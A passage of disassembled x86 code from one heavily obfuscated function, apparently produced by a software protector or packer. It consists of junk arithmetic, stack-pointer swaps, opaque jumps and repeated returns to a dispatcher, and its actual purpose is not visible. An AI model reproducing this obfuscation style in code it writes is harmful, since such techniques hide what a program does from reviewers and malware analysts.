		xor	ebx, edi
		pop	edi
		jmp	loc_5AC489
; ---------------------------------------------------------------------------


loc_5A110A:				; CODE XREF: sub_58A891+13366j
		pop	[esp+32h+var_34+2]
		pop	esp
		jmp	loc_5A02D2
; ---------------------------------------------------------------------------


loc_5A1113:				; CODE XREF: sub_58A891+11E47j
		add	edi, 4
		push	ecx
		jmp	loc_5A8416
; ---------------------------------------------------------------------------


loc_5A111F:				; CODE XREF: sub_58A891+26978j
		xor	[esp+78h+var_78], ecx
		jmp	loc_5A3BD1
; ---------------------------------------------------------------------------


loc_5A1127:				; CODE XREF: sub_58A891+12151j
		push	esi
		mov	esi, 0D6952BFh
		jmp	loc_59D484
; ---------------------------------------------------------------------------


loc_5A1132:				; CODE XREF: sub_58A891+15BB2j
		sub	eax, edx
		pop	edx
		mov	esi, [esp+0DAh+var_DA]
		push	esi
		mov	esi, esp
		add	esi, 4
		push	eax
		mov	eax, 3B6679CFh
		jmp	loc_5A50DE
; ---------------------------------------------------------------------------


loc_5A114C:				; CODE XREF: sub_58A891+126E9j
		add	edx, 11BA33B3h
		shr	edx, 4
		jmp	loc_5A926A
; ---------------------------------------------------------------------------


loc_5A115A:				; CODE XREF: sub_58A891+21113j
		pop	esp
		mov	[esp+0], edx
		not	dword ptr [esp+0]
		mov	edx, [esp+0]
		push	edx
		sub	esp, 4
		push	esp
		pop	[esp+0A6h+var_A6]
		jmp	loc_5A2B34
; ---------------------------------------------------------------------------


loc_5A1171:				; CODE XREF: sub_58A891+14E96j
		add	ecx, 4FBD3E03h
		shl	ecx, 5
		shr	ecx, 2
		or	ecx, 77D85105h
		xor	ecx, 7FF95731h
		jmp	loc_5A1F74
; ---------------------------------------------------------------------------


loc_5A118E:				; CODE XREF: sub_58A891+187F1j
		pop	esp
		push	small word ptr [eax]
		jmp	loc_5A4965
; ---------------------------------------------------------------------------


loc_5A1197:				; CODE XREF: sub_58A891+220B8j
		xor	esi, 8741773h
		shr	esi, 8
		jmp	loc_5A5F37
; ---------------------------------------------------------------------------


loc_5A11A5:				; CODE XREF: sub_58A891+1EE64j
		sub	esp, 4
		mov	[esp+60h+var_60], ebp
		push	edi
		mov	edi, 3066552Dh
		jmp	loc_5A0631
; ---------------------------------------------------------------------------


loc_5A11B6:				; CODE XREF: sub_58A891+2209Bj
		xor	ebx, edi
		pop	edi
		push	ebp
		mov	ebp, 22B3CE1h
		inc	ebp
		add	ebp, 1
		jmp	loc_5A45A2
; ---------------------------------------------------------------------------


loc_5A11CB:				; CODE XREF: sub_58A891+20480j
		push	ecx
		mov	ecx, 535C4EE8h
		xor	ecx, 946B99ABh
		mov	ebx, ecx
		pop	ecx
		add	ebp, 34D55EEAh
		sub	ebp, ebx
		push	edx
		mov	edx, 34D55EEAh
		sub	ebp, edx
		pop	edx
		jmp	loc_5A205C
; ---------------------------------------------------------------------------


loc_5A11F0:				; CODE XREF: sub_58A891+22299j
		jmp	loc_59BF76
; ---------------------------------------------------------------------------


loc_5A11F5:				; CODE XREF: sub_58A891+1816Ej
		push	ebx
		sub	esp, 4
		mov	[esp+6Ch+var_6C], esi
		mov	esi, esp
		add	esi, 4
		sub	esi, 4
		xchg	esi, [esp+6Ch+var_6C]
		pop	esp
		mov	[esp+68h+var_68], eax
		mov	ah, 0B8h
		mov	bl, 82h
		xor	bl, ah
		mov	eax, [esp+68h+var_68]
		add	esp, 4
		add	bl, 0B4h
		jmp	loc_5A3206
; ---------------------------------------------------------------------------


loc_5A1228:				; CODE XREF: sub_58A891+21CA8j
		push	ebp
		jmp	loc_5A4069
; ---------------------------------------------------------------------------


loc_5A122E:				; CODE XREF: sub_58A891+1E747j
		xor	[esp+68h+var_68], esi
		jmp	loc_5A2C9E
; ---------------------------------------------------------------------------


loc_5A1236:				; CODE XREF: sub_58A891+1FFD0j
		add	esp, 4
		mov	esi, [esp+64h+var_64]
		jmp	loc_5A04E3
; ---------------------------------------------------------------------------


loc_5A1241:				; CODE XREF: sub_58A891+16AC7j
		xor	edi, edx
		mov	edx, [esp+64h+var_64]
		add	esp, 4
		sub	esp, 4
		mov	[esp+64h+var_64], eax
		mov	eax, 13012915h
		add	edx, eax
		pop	eax
		sub	edx, edi
		sub	edx, 13012915h
		pop	edi
		add	edx, eax
		add	edx, 6429359Eh
		jmp	loc_59BF76
; ---------------------------------------------------------------------------


loc_5A126D:				; CODE XREF: sub_58A891+1B7CCj
		add	edx, 4
		xchg	edx, [esp+5Ch+var_5C]
		jmp	loc_5A6A11
; ---------------------------------------------------------------------------


loc_5A127B:				; CODE XREF: sub_58A891+27C2Ej
		add	esp, 4
		jmp	loc_5AB98E
; ---------------------------------------------------------------------------


loc_5A1286:				; CODE XREF: sub_58A891+23EB1j
		add	edi, ecx
		pop	ecx
		mov	ebx, edi
		push	[esp+54h+var_54]
		mov	edi, [esp+58h+var_58]
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		push	131h
		mov	[esp+60h+var_60], esi
		push	edi
		mov	edi, 32B279B0h
		mov	esi, edi
		pop	edi
		jmp	loc_5AA4BA
; ---------------------------------------------------------------------------


loc_5A12B0:				; CODE XREF: sub_58A891+1D8CAj
		add	ebx, 255D387Eh
		sub	ebx, 1F73C453h
		jmp	loc_5A0E54
; ---------------------------------------------------------------------------


loc_5A12C1:				; CODE XREF: sub_58A891+1DB8Aj
		not	ecx
		xor	ecx, 1BB31F1Ah
		inc	ecx
		shr	ecx, 7
		jmp	loc_5A6206
; ---------------------------------------------------------------------------


loc_5A12D2:				; CODE XREF: sub_58A891+27CC2j
		pop	edx
		mov	ebp, 731B895Bh
		add	ebp, 3B636FCDh
		sub	ebp, edi
		sub	ebp, 3B636FCDh
		pop	edi
		add	ebp, 36E154D9h
		jno	loc_5B0060
		push	edx
		mov	edx, 0FFFFFFFFh
		add	ebp, edx
		jmp	loc_5AEE95
; ---------------------------------------------------------------------------
		pop	edx


loc_5A1301:				; CODE XREF: sub_58A891+146A0j
		mov	eax, 49C17428h
		and	ebx, eax
		pop	eax
		shr	ebx, 1
		push	esi
		mov	esi, 5AC566B8h
		add	ebx, esi
		jmp	loc_5AF9AE
; ---------------------------------------------------------------------------


loc_5A1318:				; CODE XREF: sub_58A891+14041j
		mov	esi, esp
		push	edx
		mov	edx, 493B0F6Fh
		neg	edx
		jmp	loc_5A007A
; ---------------------------------------------------------------------------


loc_5A1327:				; CODE XREF: sub_58A891+17A19j
		pop	ebx
		jmp	loc_5B18D0
; ---------------------------------------------------------------------------


loc_5A132D:				; CODE XREF: sub_58A891+1B167j
		add	esp, 4
		push	ecx
		push	ebx
		jmp	loc_5ABEF1
; ---------------------------------------------------------------------------


loc_5A133A:				; CODE XREF: sub_58A891+12C71j
		push	esi
		jmp	loc_5AE747
; ---------------------------------------------------------------------------


loc_5A1340:				; CODE XREF: sub_58A891+1ED66j
		add	esi, 0FFFFFFFFh
		and	esi, 775633B1h
		jmp	loc_59F981
; ---------------------------------------------------------------------------

locret_5A134E:				; CODE XREF: sub_58A891+19A11j
		retn
; ---------------------------------------------------------------------------
		pop	small word ptr [edx]
		jmp	loc_5A277E
; ---------------------------------------------------------------------------


loc_5A1357:				; CODE XREF: sub_58A891+1A26Dj
		pop	ebp
		jmp	loc_5A1241
; ---------------------------------------------------------------------------


loc_5A135D:				; CODE XREF: sub_58A891+2266Aj
		xor	ebx, [esp+28h+var_28]
		xor	[esp+28h+var_28], ebx
		xor	ebx, [esp+28h+var_28]
		mov	esp, [esp+28h+var_28]
		sub	byte ptr [esp+28h+var_28], al
		pushf
		jmp	loc_59BF76
; ---------------------------------------------------------------------------


loc_5A1372:				; CODE XREF: sub_58A891+162AEj
		sub	esp, 4
		mov	[esp+12h+var_14+2], esp
		add	[esp+12h+var_14+2], 4
		pop	eax
		jmp	loc_5ADD26
; ---------------------------------------------------------------------------


loc_5A1382:				; CODE XREF: sub_58A891+174D6j
		sub	esp, 4
		jmp	loc_5A1D7A
; ---------------------------------------------------------------------------


loc_5A138A:				; CODE XREF: sub_58A891+11E8Fj
		pop	edi
		pop	[esp+74h+var_74]
		jmp	loc_59C646
; ---------------------------------------------------------------------------


loc_5A1393:				; CODE XREF: sub_58A891+27729j
		push	ebp
		jmp	loc_5AB81A
; ---------------------------------------------------------------------------


loc_5A1399:				; CODE XREF: sub_58A891+13D7Ej
		xchg	ebp, [esp+0AAh+var_AA]
		pop	esp
		sub	eax, 1E327058h
		jmp	loc_5AFC97
; ---------------------------------------------------------------------------


loc_5A13A7:				; CODE XREF: sub_58A891+264F8j
		jmp	loc_59E699
; ---------------------------------------------------------------------------


loc_5A13AC:				; CODE XREF: sub_58A891+137E6j
		xor	eax, edx
		pop	edx
		sub	ebx, eax
		pop	eax
		jmp	loc_5B20A7
; ---------------------------------------------------------------------------


loc_5A13B7:				; CODE XREF: sub_58A891+25A86j
		add	ebx, 6D2C2ED9h
		jmp	loc_59E521
; ---------------------------------------------------------------------------


loc_5A13C2:				; CODE XREF: sub_58A891+24B5Fj
		push	esp
		pop	[esp+0B2h+var_B2]
		add	[esp+0AEh+var_AE], 4
		mov	ebp, [esp+0AEh+var_AE]
		add	esp, 4
		add	ebp, 4
		add	ebp, 4
		push	ebp
		push	[esp+0AEh+var_AA]
		pop	ebp
		pop	[esp+0AEh+var_AE]
		pop	esp
		add	al, 0Fh
		jmp	loc_5AC9F2
; ---------------------------------------------------------------------------


loc_5A13F0:				; CODE XREF: sub_58A891+28482j
		pop	eax
		push	ebx
		jmp	loc_5B177F
; ---------------------------------------------------------------------------


loc_5A13F7:				; CODE XREF: sub_58A891+22FC8j
		sub	bl, 0C4h
		push	esi
		jmp	loc_5B03F6
; ---------------------------------------------------------------------------


loc_5A1400:				; CODE XREF: sub_58A891+1769Dj
		add	esp, 4
		jmp	loc_5B1461
; ---------------------------------------------------------------------------


loc_5A1408:				; CODE XREF: sub_58A891+1F484j
		xor	ecx, 3D8119ECh
		push	69D0h
		mov	[esp+0AAh+var_AA], ecx
		not	[esp+0AAh+var_AA]
		pop	ecx
		jmp	loc_5A9315
; ---------------------------------------------------------------------------


loc_5A141F:				; CODE XREF: sub_58A891+11833j
		mov	edi, esp
		jmp	loc_5A33FD
; ---------------------------------------------------------------------------


loc_5A1426:				; CODE XREF: sub_58A891+183A8j
		dec	ch
		shr	ch, 7
		push	eax
		mov	al, 0B6h
		jmp	loc_5AADF1
; ---------------------------------------------------------------------------


loc_5A1433:				; CODE XREF: sub_58A891+21A8Fj
		add	esi, edi
		add	esi, 681F4700h
		mov	edi, [esp+32h+var_34+2]
		add	esp, 4
		jmp	loc_5A86E4
; ---------------------------------------------------------------------------


loc_5A1446:				; CODE XREF: sub_58A891+2177Ej
		xor	edi, 47263408h
		jmp	loc_5A20C3
; ---------------------------------------------------------------------------


loc_5A1451:				; CODE XREF: sub_58A891+15FD8j
		push	3F2Ah
		mov	[esp+92h+var_94+2], ebp
		push	4
		pop	ebp
		mov	ecx, ebp
		pop	ebp
		add	[esp+8Eh+var_8C+2], 67033AC8h
		add	[esp+8Eh+var_8C+2], ecx
		sub	[esp+8Eh+var_8C+2], 67033AC8h
		mov	ecx, [esp+8Eh+var_90+2]
		push	ebp
		jmp	loc_5A1E56
; ---------------------------------------------------------------------------
		push	dword ptr [edi+1Ch]
		popf
		pop	ax
		adc	byte ptr [esp+90h+var_90], al
		pushf
		jmp	loc_59BF76
; ---------------------------------------------------------------------------


loc_5A148E:				; CODE XREF: sub_58A891+1A467j
					; sub_58A891+26652j
		neg	ecx
		jmp	loc_5ACFCA
; ---------------------------------------------------------------------------


loc_5A1495:				; CODE XREF: sub_58A891+19DCCj
		mov	edi, 486A6FF9h
		jmp	loc_5B2F93
; ---------------------------------------------------------------------------


loc_5A149F:				; CODE XREF: sub_58A891+1CF1Aj
		mov	ebx, 621F7F4Eh
		dec	ebx
		jmp	loc_5B2899
; ---------------------------------------------------------------------------


loc_5A14AA:				; CODE XREF: sub_58A891+1FA4Bj
					; sub_58A891+24EF7j
		xor	edx, [esp+94h+var_94]
		mov	esp, [esp+94h+var_94]
		push	esi
		push	esp
		mov	esi, [esp+9Ch+var_9E+2]
		add	esp, 4
		push	ecx
		jmp	loc_5A90CE
; ---------------------------------------------------------------------------


loc_5A14BE:				; CODE XREF: sub_58A891+270A7j
		sub	edi, ebx
		add	edi, 25D536C4h
		pop	ebx
		shl	edi, 7
		dec	edi
		jmp	loc_5AA3DB
; ---------------------------------------------------------------------------


loc_5A14D0:				; CODE XREF: sub_58A891+2623Dj
		mov	[esp+98h+var_98], edx
		jmp	loc_5A2930
; ---------------------------------------------------------------------------


loc_5A14D8:				; CODE XREF: sub_58A891+1CD07j
		jp	loc_5B1E16
		shr	eax, 8
		jp	loc_5AAA6E
		mov	al, dh


loc_5A14E9:				; CODE XREF: sub_58A891+20DFEj
		xchg	eax, [esp+98h+var_98]
		pop	esp
		add	esp, 4
		add	esp, 4
		jmp	loc_5AE911
; ---------------------------------------------------------------------------


loc_5A14FB:				; CODE XREF: sub_58A891+263B4j
		js	loc_5AD5B5
		add	ebx, 62510D19h
		jmp	loc_5ABB55
; ---------------------------------------------------------------------------


loc_5A150C:				; CODE XREF: sub_58A891+241C3j
		sub	ecx, 120828D2h
		dec	ecx
		jmp	loc_5B29CE
; ---------------------------------------------------------------------------


loc_5A1518:				; CODE XREF: sub_58A891+146F7j
		sub	ecx, 79106E59h
		add	ecx, edx
		jmp	loc_5AC4D2
; ---------------------------------------------------------------------------


loc_5A1525:				; CODE XREF: sub_58A891+25413j
		pop	edi
		sub	edi, 1
		jmp	loc_5A7FF2
; ---------------------------------------------------------------------------


loc_5A1531:				; CODE XREF: sub_58A891+12051j
					; sub_58A891:loc_5B1C38j
		xor	ebx, 34721080h
		push	[esp+0A2h+var_A2]
		mov	edx, [esp+0A6h+var_A6]
		add	esp, 4
		sub	esp, 4
		mov	[esp+0A6h+var_A6], eax
		mov	eax, esp
		jmp	loc_5B1C1C
; ---------------------------------------------------------------------------


loc_5A1550:				; CODE XREF: sub_58A891+18AD3j
		sub	ebx, 933785B9h
		shr	ebx, 6
		shl	ebx, 1
		jmp	loc_59E465
; ---------------------------------------------------------------------------
		push	dword ptr [edi+2Ch]
		jmp	loc_59BF76
; ---------------------------------------------------------------------------


loc_5A1568:				; CODE XREF: sub_58A891+235A4j
		pop	edx
		push	2A57h
		mov	[esp+0AAh+var_AA], esi
		push	ebp
		mov	ebp, 0B15473Dh
		xor	[esp+0AEh+var_AA], ebp
		pop	ebp
		push	[esp+0AAh+var_AA]
		pop	ebx
		jmp	loc_5A6A56
; ---------------------------------------------------------------------------


loc_5A1585:				; CODE XREF: sub_58A891+18764j
		or	edx, ebx
		pop	ebx
		dec	edx
		jmp	loc_5B0F5C
; ---------------------------------------------------------------------------


loc_5A158E:				; CODE XREF: sub_58A891+17B14j
		jo	loc_5B19A9
		or	ecx, 522D1F59h
		jns	loc_5B24D7
		pop	ebp


loc_5A15A1:				; CODE XREF: sub_58A891+1D4DFj
		jmp	loc_59D4C8
; ---------------------------------------------------------------------------


loc_5A15A6:				; CODE XREF: sub_58A891+2716Aj
		add	edi, 394C388Bh
		sub	edi, 1F047335h
		jmp	loc_5AC0DA
; ---------------------------------------------------------------------------


loc_5A15B7:				; CODE XREF: sub_58A891+22CE8j
		mov	ebx, edi
		pop	edi
		jmp	loc_5AAA9A
; ---------------------------------------------------------------------------


loc_5A15BF:				; CODE XREF: sub_58A891+121AAj
		shr	eax, 0Ch
		jmp	loc_59C13C
; ---------------------------------------------------------------------------


loc_5A15C7:				; CODE XREF: sub_58A891:loc_5AAD05j
		sub	esp, 4
		mov	[esp+0A6h+var_A6], eax
		mov	eax, 436F6889h
		jmp	loc_59F564
; ---------------------------------------------------------------------------


loc_5A15D7:				; CODE XREF: sub_58A891+165A3j
		add	bh, 1
		sub	bh, 1
		not	bh
		add	bh, 0BDh
		sub	al, 43h
		jmp	loc_5A460B
; ---------------------------------------------------------------------------


loc_5A15E9:				; CODE XREF: sub_58A891+1CC8Ej
		pop	ebp
		add	ebp, 4
		sub	ebp, 4
		xor	ebp, [esp+52h+var_54+2]
		xor	[esp+52h+var_54+2], ebp
		xor	ebp, [esp+52h+var_54+2]
		jmp	loc_59EC9D
; ---------------------------------------------------------------------------


loc_5A1604:				; CODE XREF: sub_58A891+1C944j
		add	edx, 5F11790Eh
		push	ecx
		mov	ecx, 61B77E7Eh
		jmp	loc_59D6AD
; ---------------------------------------------------------------------------


loc_5A1615:				; CODE XREF: sub_58A891+26966j
		push	[esp+56h+var_58+2]
		pop	edi
		push	edi
		sub	esp, 4
		mov	[esp+5Eh+var_60+2], esp
		add	[esp+5Eh+var_60+2], 4
		mov	edi, [esp+5Eh+var_60+2]
		add	esp, 4
		push	ecx
		jmp	loc_5B293A
; ---------------------------------------------------------------------------


loc_5A1633:				; CODE XREF: sub_58A891+1942Cj
		sub	ebp, 1BCA1279h
		or	ebp, 5B5E7FABh
		push	ebx
		jmp	loc_5A4AD4
; ---------------------------------------------------------------------------


loc_5A1645:				; CODE XREF: sub_58A891+24DA4j
		push	[esp+62h+var_64+2]
		pop	ebx
		add	esp, 4
		inc	ebx
		sub	ebx, 52CF57AAh
		jnp	loc_5A3EFA
		inc	ebx
		jno	loc_5B1C6A
		xor	ebx, 0D924DBD7h
		mov	esi, ebx
		pop	ebx
		add	eax, esi


loc_5A166B:				; CODE XREF: sub_58A891+23361j
		not	edx
		inc	edx
		jmp	loc_59EDFD
; ---------------------------------------------------------------------------


loc_5A1673:				; CODE XREF: sub_58A891+214EBj
		pop	eax
		push	eax
		mov	ah, bl
		mov	dh, ah
		jmp	loc_5A9428
; ---------------------------------------------------------------------------


loc_5A167E:				; CODE XREF: sub_58A891+1DEECj
		pop	eax
		xor	edi, 4F3F67AAh
		neg	edi
		add	edi, 651392F1h
		xor	esi, edi
		jmp	loc_59E814
; ---------------------------------------------------------------------------


loc_5A1694:				; CODE XREF: sub_58A891+1271Dj
		mov	[esp+0A6h+var_A6], eax
		push	ebp
		mov	ebp, 7A06732Eh
		not	ebp
		sub	ebp, 31E65750h
		jmp	loc_59E108
; ---------------------------------------------------------------------------


loc_5A16AA:				; CODE XREF: sub_58A891+164F6j
		pop	ebx
		xchg	ecx, ebp
		push	ecx
		not	[esp+0A8h+var_AA+2]
		pop	ecx
		xchg	ecx, ebp
		inc	ebp
		xor	ebp, 664B0318h
		or	ebp, 333D2A9Ch
		jb	loc_5A4178
		sub	ebp, 0B7FDFEBAh
		sub	esp, 4
		mov	[esp+0A8h+var_AA+2], ebp
		pop	ebx
		mov	ebp, [esp+0A4h+var_A6+2]
		add	esp, 4
		jmp	loc_59E0D4
; ---------------------------------------------------------------------------


loc_5A16E2:				; CODE XREF: sub_58A891+24E19j
		push	eax
		push	esp
		pop	eax
		jmp	loc_5B276B
; ---------------------------------------------------------------------------


loc_5A16EA:				; CODE XREF: sub_58A891+11DD7j
		dec	ebx
		add	ebx, 4C749D35h
		sub	edi, ebx
		pop	ebx
		add	ecx, 1923C6Dh
		add	ecx, edi
		sub	ecx, 1923C6Dh
		push	[esp+66h+var_68+2]
		jmp	loc_5ADC1D
; ---------------------------------------------------------------------------


loc_5A170A:				; CODE XREF: sub_58A891+22A5Aj
		pop	eax
		pop	[esp+66h+var_68+2]
		mov	esp, [esp+62h+var_64+2]
		jmp	loc_5B1AB3
; ---------------------------------------------------------------------------


loc_5A1716:				; CODE XREF: sub_58A891+17CA4j
		add	eax, ebx
		add	eax, 31782F70h
		push	[esp+62h+var_64+2]
		mov	ebx, [esp+66h+var_68+2]
		push	edx
		mov	edx, esp
		jmp	loc_5B13E7
; ---------------------------------------------------------------------------


loc_5A172B:				; CODE XREF: sub_58A891+21774j
		shl	edi, 5
		jmp	loc_5A5D9C
; ---------------------------------------------------------------------------


loc_5A1733:				; CODE XREF: sub_58A891+1DE6Bj
		mov	[esp+6Ah+var_6C+2], edx
		mov	edx, 1
		add	ebx, edx
		pop	edx
		shl	ebx, 5
		jmp	loc_5A3DC0
; ---------------------------------------------------------------------------


loc_5A1746:				; CODE XREF: sub_58A891+15169j
		add	esi, 1216E205h
		mov	edi, esi
		pop	esi
		add	edi, 0C453ADB7h
		add	ebx, 12982A4Dh
		push	edx
		push	ebx
		mov	ebx, 7F7365FEh
		shl	ebx, 1
		jmp	loc_5A9F38
; ---------------------------------------------------------------------------


loc_5A1769:				; CODE XREF: sub_58A891+1BB0Fj
		xor	ebx, esi
		push	2237h
		jmp	loc_5A60FA
; ---------------------------------------------------------------------------


loc_5A1775:				; CODE XREF: sub_58A891+1FBEBj
		add	eax, ecx
		mov	ecx, [esp+16h+var_18+2]
		add	esp, 4
		sub	eax, 22197B81h
		add	eax, ebp
		add	eax, 22197B81h
		push	edx
		mov	edx, 56AE4AF2h
		add	edx, 1
		add	edx, 15C62CDDh
		jmp	loc_59D3C5
; ---------------------------------------------------------------------------


loc_5A17A0:				; CODE XREF: sub_58A891+122CEj
		xor	ebp, 0A9EA2875h
		add	ecx, ebp
		mov	ebp, [esp+0A6h+var_A6]
		push	eax
		mov	eax, esp
		jmp	loc_5AA0E1
; ---------------------------------------------------------------------------


loc_5A17B3:				; CODE XREF: sub_58A891+20A88j
		mov	ecx, [esp+0AAh+var_AA]
		sub	esp, 4
		jmp	loc_5A809B
; ---------------------------------------------------------------------------


loc_5A17BE:				; CODE XREF: sub_58A891+1CC12j
		add	esi, 707A370Eh
		jz	loc_5A2E20
		jmp	loc_5AD465
; ---------------------------------------------------------------------------


loc_5A17CF:				; CODE XREF: sub_58A891:loc_5AECA9j
		jmp	loc_5A4CA2
; ---------------------------------------------------------------------------


loc_5A17D4:				; CODE XREF: sub_58A891+1F932j
		mov	esi, edx
		jmp	loc_59EA67
; ---------------------------------------------------------------------------


loc_5A17DB:				; CODE XREF: sub_58A891+13D2Aj
		push	ebx
		push	ebp
		pop	ebx
		jmp	loc_5AB386
; ---------------------------------------------------------------------------


loc_5A17E3:				; CODE XREF: sub_58A891+281D6j
		sub	eax, ebx
		push	edi
		jmp	loc_5A2798
; ---------------------------------------------------------------------------


loc_5A17EB:				; CODE XREF: sub_58A891+1656Dj
		add	esp, 4
		add	edx, ecx
		push	[esp+50h+var_50]
		jmp	loc_5AEF62
; ---------------------------------------------------------------------------


loc_5A17F8:				; CODE XREF: sub_58A891+1387Fj
		jmp	loc_5A0A92
; ---------------------------------------------------------------------------


loc_5A17FD:				; CODE XREF: sub_58A891+17417j
		jmp	loc_59BF76
; ---------------------------------------------------------------------------


loc_5A1802:				; CODE XREF: sub_58A891+13596j
		jns	loc_5A8EE2
		dec	eax
		and	eax, 9077B38h
		xor	eax, 69E36990h
		neg	eax
		dec	eax
		add	eax, 0E75DB789h
		jmp	loc_5AD428
; ---------------------------------------------------------------------------


loc_5A1820:				; CODE XREF: sub_58A891+17E4Ej
		pop	edx
		pop	esi
		jmp	loc_5A8A6A
; ---------------------------------------------------------------------------


loc_5A1827:				; CODE XREF: sub_58A891+22F40j
		xchg	ebx, [esp+22h+var_24+2]
		pop	esp
		push	eax
		mov	eax, 1BCA01B0h
		jmp	loc_5A04C6
; ---------------------------------------------------------------------------


loc_5A1836:				; CODE XREF: sub_58A891+268DEj
		pop	ebp
		add	ebp, 4
		push	edx
		push	ebp
		push	35ED6025h
		pop	ebp
		jmp	loc_5A8609
; ---------------------------------------------------------------------------


loc_5A184A:				; CODE XREF: sub_58A891+2308Bj
		mov	ebp, edi
		pop	edi
		and	eax, ebp
		push	[esp+22h+var_24+2]
		push	[esp+26h+var_28+2]
		jmp	loc_5A8924
; ---------------------------------------------------------------------------


loc_5A185A:				; CODE XREF: sub_58A891+2051Cj
		pop	[esp+2Ah+var_2C+2]
		mov	esp, [esp+26h+var_28+2]
		mov	[esp+26h+var_28+2], edi
		sub	esp, 4
		jmp	loc_5AB5C0
; ---------------------------------------------------------------------------


loc_5A186E:				; CODE XREF: sub_58A891+26103j
		xor	[esp+2Ah+var_28+2], eax
		push	[esp+2Ah+var_2C+2]
		pop	eax
		add	esp, 4
		pop	ecx
		push	17A7h
		mov	[esp+26h+var_28+2], edx
		jmp	loc_5AAC1B
; ---------------------------------------------------------------------------


loc_5A1887:				; CODE XREF: sub_58A891+1543Fj
		mov	eax, [esp+22h+var_24+2]
		push	edx
		mov	edx, esp
		add	edx, 4
		add	edx, 4
		xor	edx, [esp+26h+var_28+2]
		xor	[esp+26h+var_28+2], edx
		jmp	loc_5ABA35
; ---------------------------------------------------------------------------


loc_5A18A1:				; CODE XREF: sub_58A891+24487j
		mov	ecx, 4
		sub	ebp, ecx
		pop	ecx
		push	ebp
		jmp	loc_59EBF9
; ---------------------------------------------------------------------------


loc_5A18AF:				; CODE XREF: sub_58A891+21947j
		pop	esp
		jmp	loc_5A371A
; ---------------------------------------------------------------------------


loc_5A18B5:				; CODE XREF: sub_58A891+21DB9j
		push	ecx
		jmp	loc_5A34E8
; ---------------------------------------------------------------------------


loc_5A18BB:				; CODE XREF: sub_58A891+24BDBj
		push	esp
		jmp	loc_5A686C
; ---------------------------------------------------------------------------


loc_5A18C1:				; CODE XREF: sub_58A891+1BF49j
		inc	edi
		sub	edi, 8427830Bh
		jmp	loc_5B27BE
; ---------------------------------------------------------------------------


loc_5A18CD:				; CODE XREF: sub_58A891+23D52j
		add	[esp+2Ah+var_2C+2], 73F0079Bh
		pop	ebx
		sub	ebx, 73F0079Bh
		mov	edi, [esp+26h+var_28+2]
		jmp	loc_5A4F39
; ---------------------------------------------------------------------------


loc_5A18E3:				; CODE XREF: sub_58A891+1766Dj
					; sub_58A891+26626j
		mov	[esp+26h+var_28+2], ebp
		mov	ebp, esp
		push	esi
		jmp	loc_5AF271
; ---------------------------------------------------------------------------


loc_5A18EE:				; CODE XREF: sub_58A891+11D3Bj
		add	ecx, edi
		push	ebx
		mov	ebx, 679902B0h
		add	ebx, 0BFF728F7h
		sub	ecx, 5FF0269Ah
		sub	ecx, ebx
		add	ecx, 5FF0269Ah
		mov	ebx, [esp+56h+var_58+2]
		push	esi
		mov	esi, esp
		jmp	loc_5AF3C0
; ---------------------------------------------------------------------------


loc_5A1915:				; CODE XREF: sub_58A891+26D01j
		xor	ebx, ebp
		pop	ebp
		mov	edi, ebx
		pop	ebx
		xor	eax, edi
		jmp	loc_5A34EF
; ---------------------------------------------------------------------------


loc_5A1922:				; CODE XREF: sub_58A891+228E3j
		mov	edi, esp
		add	edi, 4
		sub	edi, 4
		xchg	edi, [esp+52h+var_54+2]
		pop	esp
		mov	[esp+4Eh+var_50+2], ebx
		mov	ebx, 50C96ABCh
		mov	edi, ebx
		pop	ebx
		jmp	loc_5A6FD5
; ---------------------------------------------------------------------------


loc_5A1941:				; CODE XREF: sub_58A891+17B93j
		jmp	loc_5AF940
; ---------------------------------------------------------------------------


loc_5A1946:				; CODE XREF: sub_58A891+2334Aj
		and	esi, 464868ABh
		or	esi, 7B965E8Dh
		shl	esi, 1
		push	esi
		not	[esp+4Eh+var_50+2]
		pop	esi
		and	esi, 40B1307h
		jmp	loc_5AD38B
; ---------------------------------------------------------------------------


loc_5A1964:				; CODE XREF: sub_58A891+15BCBj
		sub	esi, 0C440C75h
		jmp	loc_5AC47C
; ---------------------------------------------------------------------------


loc_5A196F:				; CODE XREF: sub_58A891+1F543j
		pop	ebx
		or	edx, edi
		pop	edi
		not	edx
		sub	edx, 7C83B970h
		mov	ebp, 0FC6AF471h
		add	ebp, 6E27520Eh
		jmp	loc_5AF8E9
; ---------------------------------------------------------------------------


loc_5A198B:				; CODE XREF: sub_58A891+28316j
		add	bl, 27h
		push	edx
		sub	esp, 4
		mov	[esp+0DEh+var_DE], ecx
		mov	ch, 50h
		mov	dh, ch
		pop	ecx
		or	dh, 0DEh
		sub	esp, 4
		mov	[esp+0DEh+var_DE], ebx
		mov	bl, 0AAh
		push	cx
		mov	cl, 1
		add	bl, cl
		jmp	loc_59CDD6
; ---------------------------------------------------------------------------


loc_5A19B3:				; CODE XREF: sub_58A891+1ED48j
		add	[esp+0E0h+var_DE+2], edi
		jmp	loc_5AA5F3
; ---------------------------------------------------------------------------


loc_5A19BC:				; CODE XREF: sub_58A891+2489Fj
		pop	ecx
		mov	ebx, 2650428Fh
		shr	ebx, 1
		xor	ebx, eax
		jmp	loc_5AEE05
; ---------------------------------------------------------------------------


loc_5A19CB:				; CODE XREF: sub_58A891+133E7j
		add	esi, edx
		jmp	loc_5AA9BF
; ---------------------------------------------------------------------------


loc_5A19D2:				; CODE XREF: sub_58A891+2318Fj
		add	esp, 4
		neg	ebp
		sub	ebp, 2340148h
		jmp	loc_5AD85E
; ---------------------------------------------------------------------------


loc_5A19E2:				; CODE XREF: sub_58A891+14AC5j
		and	ecx, edi
		jmp	loc_5AB886
; ---------------------------------------------------------------------------


loc_5A19E9:				; CODE XREF: sub_58A891+22FECj
					; sub_58A891+25D7Bj
		add	esp, 4
		sub	al, 0E7h
		add	al, bl
		jmp	loc_5AA40E
; ---------------------------------------------------------------------------


loc_5A19F5:				; CODE XREF: sub_58A891+1CC07j
		sub	esp, 4
		mov	[esp+102h+var_104+2], esi
		mov	esi, 4
		sub	edx, 0BED1402h
		sub	edx, esi
		jmp	loc_5A598A
; ---------------------------------------------------------------------------


loc_5A1A10:				; CODE XREF: sub_58A891+1D415j
		add	bl, 0Ah
		jmp	loc_5B10AD
; ---------------------------------------------------------------------------


loc_5A1A18:				; CODE XREF: sub_58A891+264CDj
		jnp	loc_59F19B
		xor	eax, 0A27457A9h
		mov	ebp, eax
		pop	eax
		mov	ch, bh


loc_5A1A28:				; CODE XREF: sub_58A891+1587Ej
		push	edi
		mov	edi, 4
		add	eax, 39957C4Dh
		jmp	loc_5A4871
; ---------------------------------------------------------------------------


